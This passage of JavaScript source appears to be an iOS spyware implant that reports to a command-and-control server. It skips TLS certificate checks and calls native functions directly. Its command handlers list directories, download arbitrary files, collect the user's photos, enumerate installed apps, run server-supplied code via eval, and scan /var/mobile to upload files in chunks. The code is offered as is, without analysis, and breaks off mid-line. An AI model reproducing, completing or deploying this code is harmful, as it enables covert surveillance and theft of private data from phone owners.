Native.readPtr(BigInt(wPtr));\n\n\t\tNative.callSymbol(\"CFRelease\", hostCF);\n\t\thostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr));\n\t\tNative.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return null;\n\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryValueCallBacks\");\n\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\",\n\t\t\t\t\t0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return null;\n\n\t\t\tvar hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host +\n\t\t\t\t\"\\r\\nContent-Type: application/json\" +\n\t\t\t\t\"\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\" +\n\t\t\t\t\"\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t\tvar fullReq = hdr + bodyStr;\n\t\t\tvar reqBuf = Native.callSymbol(\"malloc\", fullReq.length + 1);\n\t\t\tNative.writeString(reqBuf, fullReq);\n\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < fullReq.length) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\",\n\t\t\t\t\tws, BigInt(reqBuf) + BigInt(totalSent),\n\t\t\t\t\tfullReq.length - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(reqBuf));\n\t\t\tif (totalSent < fullReq.length) return null;\n\n\t\t\tvar respBuf = Native.callSymbol(\"malloc\", 65536);\n\t\t\tvar result = \"\";\n\t\t\tfor (var ri = 0; ri < 50; ri++) {\n\t\t\t\tvar br = Number(Native.callSymbol(\"CFReadStreamRead\",\n\t\t\t\t\trs, BigInt(respBuf), 65535));\n\t\t\t\tif (br <= 0) break;\n\t\t\t\tresult += Native.readString(BigInt(respBuf), br);\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(respBuf));\n\n\t\t\tvar idx = result.indexOf(\"\\r\\n\\r\\n\");\n\t\t\tif (idx < 0) return null;\n\t\t\ttry { return JSON.parse(result.substring(idx + 4)); } catch(e) { return null; }\n\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _writeLog(msg) {\n\ttry {\n\t\tvar ts = new Date().toISOString();\n\t\tvar line = \"[\" + ts + \"] \" + msg + \"\\n\";\n\t\tvar fd = Number(Native.callSymbol(\"open\", \"/tmp/c2_wallet_debug.log\", 0x209, 0x1FF));\n\t\tif (fd > 0) {\n\t\t\tvar buf = Native.callSymbol(\"malloc\", line.length + 1);\n\t\t\tNative.writeString(buf, line);\n\t\t\tNative.callSymbol(\"write\", fd, buf, line.length);\n\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\tNative.callSymbol(\"close\", fd);\n\t\t}\n\t} catch(e) {}\n\ttry {\n\t\tvar u = \"\";\n\t\ttry { u = DEVICE_UUID; } catch(_u) {}\n\t\thqPost(\"/log\", { uuid: u, lhu: u, text: String(msg), source: \"c2_wallet\" });\n\t} catch(_le) {}\n}\n\n// ============================================================================\n// httpPost - dual mode (https -> CFStream TLS, http -> POSIX socket)\n// ============================================================================\n\nfunction httpPost(url, body) {\n\tconst { host, port, path } = parseURL(url);\n\tconst bodyStr = JSON.stringify(body);\n\tif (url.indexOf(\"https://\") === 0) {\n\t\treturn _cfstreamPost(host, port, path, bodyStr);\n\t}\n\treturn _socketPost(host, port, path, bodyStr);\n}\n\nfunction hqPost(endpoint, body) {\n\ttry { return httpPost(HQ_API_BASE + endpoint, body); }\n\tcatch(e) { return null; }\n}\n\n// ============================================================================\n// HQ Photo Multipart Upload\n// ============================================================================\n\nfunction _writeStr(ptr, str) {\n\tvar buf = new ArrayBuffer(str.length);\n\tvar a = new Uint8Array(buf);\n\tfor (var i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\tNative.write(ptr, buf);\n}\n\nfunction _cfstreamSendRaw(host, port, reqBuf, reqLen) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return false;\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\", 0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\t\tNative.callSymbol(\"CFRelease\", hostCF); hostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr)); Native.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return false;\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryValueCallBacks\");\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return false;\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < reqLen) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\", ws, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\treturn totalSent >= reqLen;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _socketSendRaw(host, port, reqBuf, reqLen) {\n\tvar fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return false;\n\ttry {\n\t\tvar tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n); Native.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\t\tvar sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar sab = new ArrayBuffer(16);\n\t\tvar sv = new DataView(sab);\n\t\tsv.setUint8(0, 16); sv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tvar pp = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(pp[0])); sv.setUint8(5, parseInt(pp[1]));\n\t\tsv.setUint8(6, parseInt(pp[2])); sv.setUint8(7, parseInt(pp[3]));\n\t\tNative.write(sa, sab);\n\t\tvar cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return false;\n\t\tvar totalSent = 0;\n\t\twhile (totalSent < reqLen) {\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", fd, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\tif (nw <= 0) break;\n\t\t\ttotalSent += nw;\n\t\t}\n\t\treturn totalSent >= reqLen;\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _hqUploadPhoto(filePath, filename, uuid, seq, md5hash) {\n\treturn false;\n\tvar useTLS = HQ_API_BASE.indexOf(\"https://\") === 0;\n\tvar p = parseURL(HQ_API_BASE + \"/p\");\n\tvar fileFd = Number(Native.callSymbol(\"open\", filePath, 0, 0));\n\tif (fileFd < 0) return false;\n\tvar fileLen = Number(Native.callSymbol(\"lseek\", fileFd, 0, 2));\n\tNative.callSymbol(\"lseek\", fileFd, 0, 0);\n\tif (fileLen <= 0 || fileLen > 5242880) {\n\t\tNative.callSymbol(\"close\", fileFd);\n\t\treturn false;\n\t}\n\tvar fileBuf = Native.callSymbol(\"malloc\", BigInt(fileLen));\n\tif (!fileBuf || fileBuf === 0n) { Native.callSymbol(\"close\", fileFd); return false; }\n\tNative.callSymbol(\"read\", fileFd, fileBuf, fileLen);\n\tNative.callSymbol(\"close\", fileFd);\n\n\tvar bnd = \"------HqBound\";\n\tvar ua = \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\";\n\tvar prefix =\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"uuid\\\"\\r\\n\\r\\n\" + uuid + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"filename\\\"\\r\\n\\r\\n\" + filename + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"seq\\\"\\r\\n\\r\\n\" + seq + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"md5\\\"\\r\\n\\r\\n\" + md5hash + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"\" + filename + \"\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\";\n\tvar suffix = \"\\r\\n--\" + bnd + \"--\\r\\n\";\n\tvar bodyLen = prefix.length + fileLen + suffix.length;\n\tvar hdr = \"POST /p HTTP/1.0\\r\\nHost: \" + p.host + \"\\r\\nContent-Type: multipart/form-data; boundary=\" + bnd + \"\\r\\nUser-Agent: \" + ua + \"\\r\\nContent-Length: \" + bodyLen + \"\\r\\n\\r\\n\";\n\n\tvar totalLen = hdr.length + bodyLen;\n\tvar reqBuf = Native.callSymbol(\"malloc\", BigInt(totalLen));\n\tif (!reqBuf || reqBuf === 0n) { Native.callSymbol(\"free\", fileBuf); return false; }\n\n\t_writeStr(reqBuf, hdr);\n\t_writeStr(reqBuf + BigInt(hdr.length), prefix);\n\tNative.callSymbol(\"memcpy\", reqBuf + BigInt(hdr.length + prefix.length), fileBuf, BigInt(fileLen));\n\tNative.callSymbol(\"free\", fileBuf);\n\t_writeStr(reqBuf + BigInt(hdr.length + prefix.length + fileLen), suffix);\n\n\tvar ok = useTLS\n\t\t? _cfstreamSendRaw(p.host, p.port, reqBuf, totalLen)\n\t\t: _socketSendRaw(p.host, p.port, reqBuf, totalLen);\n\tNative.callSymbol(\"free\", reqBuf);\n\treturn ok;\n}\n\n// ============================================================================\n// File & Directory Helpers\n// ============================================================================\n\nfunction readFileB64(path, maxSize) {\n\tmaxSize = maxSize || MAX_FILE_SIZE;\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tconst sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tconst nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\treturn { b64: bytesToBase64(new Uint8Array(Native.read(buf, nr))), size: nr };\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction getFileSize(path) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return -1;\n\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"close\", fd);\n\treturn sz;\n}\n\nfunction sendFileChunked(cmdId, path, filename, category, meta) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return { ok: false, error: \"open failed\", sent: 0, total: 0 };\n\ttry {\n\t\treturn _sendChunksFromFd(cmdId, fd, -1, filename, category, meta);\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _sendChunksFromFd(cmdId, fd, knownSize, filename, category, meta) {\n\tvar fileSize = knownSize > 0 ? knownSize : Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tif (knownSize <= 0) Native.callSymbol(\"lseek\", fd, 0, 0);\n\tif (fileSize <= 0) return { ok: false, error: \"empty file\", sent: 0, total: 0 };\n\n\tvar totalChunks = Math.ceil(fileSize / CHUNK_SIZE);\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(CHUNK_SIZE));\n\tif (!buf || buf === 0n) return { ok: false, error: \"malloc failed\", sent: 0, total: totalChunks };\n\tvar sentOk = 0, lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(CHUNK_SIZE, fileSize - ci * CHUNK_SIZE);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read returned \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar body = {\n\t\t\t\tcommand_id: cmdId, uuid: DEVICE_UUID,\n\t\t\t\tfilename: filename, data: b64,\n\t\t\t\tchunk_index: ci, total_chunks: totalChunks,\n\t\t\t\tcategory: category || \"\"\n\t\t\t};\n\t\t\tif (meta && ci === totalChunks - 1) {\n\t\t\t\tbody._exec_start_ms = meta.start_ms || 0;\n\t\t\t\tbody._exec_end_ms = meta.end_ms || 0;\n\t\t\t}\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = httpPost(C2_RESULT_URL, body);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch(pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (postOk) { sentOk++; }\n\t\t\telse { lastErr = \"POST failed chunk \" + ci; break; }\n\t\t}\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn { ok: sentOk === totalChunks, error: lastErr, sent: sentOk,\n\t\t\t total: totalChunks, fileSize: fileSize };\n}\n\nfunction listDir(path) {\n\tconst d = Native.callSymbol(\"opendir\", path);\n\tif (!d || d === 0n) return [];\n\tconst out = [];\n\tfor (;;) {\n\t\tconst ent = Native.callSymbol(\"readdir\", d);\n\t\tif (!ent || ent === 0n) break;\n\t\t// Darwin dirent: d_ino(8)+d_seekoff(8)+d_reclen(2)+d_namlen(2)+d_type(1)+d_name\n\t\tconst dtype = new Uint8Array(Native.read(ent + 20n, 1))[0];\n\t\tconst name = Native.readString(ent + 21n, 256);\n\t\tif (name === \".\" || name === \"..\") continue;\n\t\tout.push({ name: name, type: dtype === 4 ? \"dir\" : dtype === 8 ? \"file\" : \"\"+dtype });\n\t}\n\tNative.callSymbol(\"closedir\", d);\n\treturn out;\n}\n\n// ============================================================================\n// Command Handlers\n// ============================================================================\n\nfunction sendResult(cmdId, data, filename, category, meta) {\n\tconst body = { command_id: cmdId, uuid: DEVICE_UUID, filename: filename || \"result.bin\" };\n\tif (data) body.data = data;\n\tif (category) body.category = category;\n\tif (meta) {\n\t\tif (meta.start_ms) body._exec_start_ms = meta.start_ms;\n\t\tif (meta.end_ms) body._exec_end_ms = meta.end_ms;\n\t}\n\tfor (var _retry = 0; _retry < 3; _retry++) {\n\t\tvar _resp = httpPost(C2_RESULT_URL, body);\n\t\tif (_resp !== null) return;\n\t\tNative.callSymbol(\"usleep\", 2000000);\n\t}\n}\n\nfunction sendJSON(cmdId, obj, filename, meta) {\n\tconst s = JSON.stringify(obj);\n\tsendResult(cmdId, bytesToBase64(new Uint8Array(Native.stringToBytes(s, false))), filename || \"result.json\", null, meta);\n}\n\nfunction handleLs(cmd) {\n\tconst p = (cmd.params && cmd.params.path) || \"/\";\n\tsendJSON(cmd.command_id, listDir(p), \"ls_\" + p.replace(/\\//g, \"_\") + \".json\");\n}\n\nfunction handleDownload(cmd) {\n\tvar p = cmd.params && cmd.params.path;\n\tif (!p) return;\n\tvar maxSz = (cmd.params && cmd.params.max_size) || MAX_FILE_SIZE;\n\tvar sz = getFileSize(p);\n\tif (sz <= 0 || sz > maxSz) return;\n\tvar fname = p.split(\"/\").pop();\n\tif (sz <= CHUNK_SIZE) {\n\t\tvar f = readFileB64(p, maxSz);\n\t\tif (f) sendResult(cmd.command_id, f.b64, fname);\n\t} else {\n\t\tsendFileChunked(cmd.command_id, p, fname);\n\t}\n}\n\nfunction handlePhotos(cmd) {\n\tvar dcim = \"/var/mobile/Media/DCIM\";\n\tvar maxCount = (cmd.params && cmd.params.max_count) || 50;\n\tvar count = 0;\n\tvar dirs = listDir(dcim);\n\tfor (var di = 0; di < dirs.length && count < maxCount; di++) {\n\t\tif (dirs[di].type !== \"dir\") continue;\n\t\tvar sub = dcim + \"/\" + dirs[di].name;\n\t\tvar files = listDir(sub);\n\t\tfor (var fi = 0; fi < files.length && count < maxCount; fi++) {\n\t\t\tif (files[fi].type !== \"file\") continue;\n\t\t\tvar fp = sub + \"/\" + files[fi].name;\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) {\n\t\t\t\t\tsendResult(cmd.command_id, f.b64, files[fi].name, \"photos\");\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar chunkResult = sendFileChunked(cmd.command_id, fp, files[fi].name, \"photos\");\n\t\t\t\tif (chunkResult && chunkResult.ok) count++;\n\t\t\t}\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, { collected: count }, \"photos_summary.json\");\n}\n\nfunction _extractBundleId(bytes) {\n\tvar text = _rawToStr(bytes);\n\tvar xmlKey = \"MCMMetadataIdentifier\";\n\tvar ki = text.indexOf(xmlKey);\n\tif (ki >= 0) {\n\t\tvar si = text.indexOf(\"\", ki);\n\t\tif (si >= 0) {\n\t\t\tsi += 8;\n\t\t\tvar ei = text.indexOf(\"\", si);\n\t\t\tif (ei >= 0) return text.substring(si, ei);\n\t\t}\n\t}\n\tvar strings = [];\n\tvar cur = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\tif (bytes[i] >= 0x20 && bytes[i] <= 0x7E) {\n\t\t\tcur += String.fromCharCode(bytes[i]);\n\t\t} else {\n\t\t\tif (cur.length >= 3) strings.push(cur);\n\t\t\tcur = \"\";\n\t\t}\n\t}\n\tif (cur.length >= 3) strings.push(cur);\n\tvar mki = -1;\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tif (strings[j] === \"MCMMetadataIdentifier\") { mki = j; break; }\n\t}\n\tvar candidates = [];\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tvar s = strings[j];\n\t\tvar fi = 0;\n\t\twhile (fi < s.length && !((s.charCodeAt(fi) >= 0x41 && s.charCodeAt(fi) <= 0x5A) ||\n\t\t\t(s.charCodeAt(fi) >= 0x61 && s.charCodeAt(fi) <= 0x7A))) fi++;\n\t\tif (fi > 0) s = s.substring(fi);\n\t\tif (s.length < 5) continue;\n\t\tif (s.indexOf(\".\") < 0) continue;\n\t\tif (s.indexOf(\"MCM\") === 0) continue;\n\t\tif (s.charAt(0) === \"$\") continue;\n\t\tif (s.indexOf(\"]\") >= 0) continue;\n\t\tif (s.indexOf(\"bplist\") >= 0) continue;\n\t\tif (s.indexOf(\"apple.mobile_container\") >= 0) continue;\n\t\tif (s.indexOf(\"MobileInstallation\") >= 0) continue;\n\t\tif (s === \"com.apple.installd\") continue;\n\t\tif (s === \"com.apple.containermanagerd\") continue;\n\t\tif (s === \"com.apple.lsd\") continue;\n\t\tcandidates.push({ s: s, i: j });\n\t}\n\tif (candidates.length === 0) return \"\";\n\tif (candidates.length === 1) return candidates[0].s;\n\tif (mki >= 0) {\n\t\tvar best = candidates[0];\n\t\tvar bd = Math.abs(candidates[0].i - mki);\n\t\tfor (var k = 1; k < candidates.length; k++) {\n\t\t\tvar d = Math.abs(candidates[k].i - mki);\n\t\t\tif (d < bd) { bd = d; best = candidates[k]; }\n\t\t}\n\t\treturn best.s;\n\t}\n\treturn candidates[0].s;\n}\n\nfunction handleApps(cmd) {\n\tconst base = \"/var/mobile/Containers/Data/Application\";\n\tconst dirs = listDir(base);\n\tconst apps = [];\n\tfor (let i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tconst meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tconst ok = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tvar bundleId = \"\";\n\t\tif (ok) {\n\t\t\tvar bytes = _readFileBytes(meta, 8192);\n\t\t\tif (bytes && bytes.length > 0) bundleId = _extractBundleId(bytes);\n\t\t}\n\t\tapps.push({ uuid: dirs[i].name, bundleId: bundleId, hasMetadata: ok });\n\t}\n\tsendJSON(cmd.command_id, apps, \"app_list.json\");\n}\n\nfunction handleExec(cmd) {\n\tvar p = cmd.params || {};\n\tvar code = p.code;\n\tvar startMs = Date.now();\n\tif (!code) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty code\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\ttry {\n\t\tvar r = eval(code);\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"success\",\n\t\t\tresult: String(r !== undefined ? r : \"\"),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t} catch (e) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\",\n\t\t\terror: String(e),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t}\n}\n\n// ============================================================================\n// file_upload: scan directories, filter files, upload matching ones in chunks\n// ============================================================================\n\nfunction _scanDir(base, files, recurse, excludes, filterMode, exts, maxSz) {\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar full = base + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") {\n\t\t\tif (!recurse) continue;\n\t\t\tvar skip = false;\n\t\t\tfor (var e = 0; e < excludes.length; e++) {\n\t\t\t\tif (full === excludes[e]) { skip = true; break; }\n\t\t\t}\n\t\t\tif (!skip) _scanDir(full, files, recurse, excludes, filterMode, exts, maxSz);\n\t\t} else if (items[i].type === \"file\") {\n\t\t\tif (maxSz > 0) {\n\t\t\t\tvar fd = Number(Native.callSymbol(\"open\", full, 0, 0));\n\t\t\t\tif (fd >= 0) {\n\t\t\t\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\t\t\t\tNative.callSymbol(\"close\", fd);\n\t\t\t\t\tif (sz > maxSz) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (filterMode === \"include\" && exts.length > 0) {\n\t\t\t\tvar dot = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot < 0) continue;\n\t\t\t\tvar ext = items[i].name.substring(dot).toLowerCase();\n\t\t\t\tvar found = false;\n\t\t\t\tfor (var x = 0; x < exts.length; x++) {\n\t\t\t\t\tif (exts[x].toLowerCase() === ext) { found = true; break; }\n\t\t\t\t}\n\t\t\t\tif (!found) continue;\n\t\t\t} else if (filterMode === \"exclude\" && exts.length > 0) {\n\t\t\t\tvar dot2 = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot2 >= 0) {\n\t\t\t\t\tvar ext2 = items[i].name.substring(dot2).toLowerCase();\n\t\t\t\t\tvar blocked = false;\n\t\t\t\t\tfor (var x2 = 0; x2 < exts.length; x2++) {\n\t\t\t\t\t\tif (exts[x2].toLowerCase() === ext2) { blocked = true; break; }\n\t\t\t\t\t}\n\t\t\t\t\tif (blocked) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfiles.push(full);\n\t\t}\n\t}\n}\n\nfunction handleFileUpload(cmd) {\n\tvar p = cmd.params || {};\n\tvar paths = p.upload_paths || [\"/var/mobile\"];\n\tvar filterMode = p.filter_mode || \"none\";\n\tvar extStr = p.file_extensions || \"\";\n\tvar exts = extStr ? extStr.split(\",\") : [];\n\tvar recurse = (p.include_subdirs !== false);\n\tvar excludes = p.exclude_dirs || [];\n\tvar maxMB = p.max_file_size_mb;\n\tvar maxSz = (maxMB && maxMB > 0) ? maxMB * 1024 * 1024 : 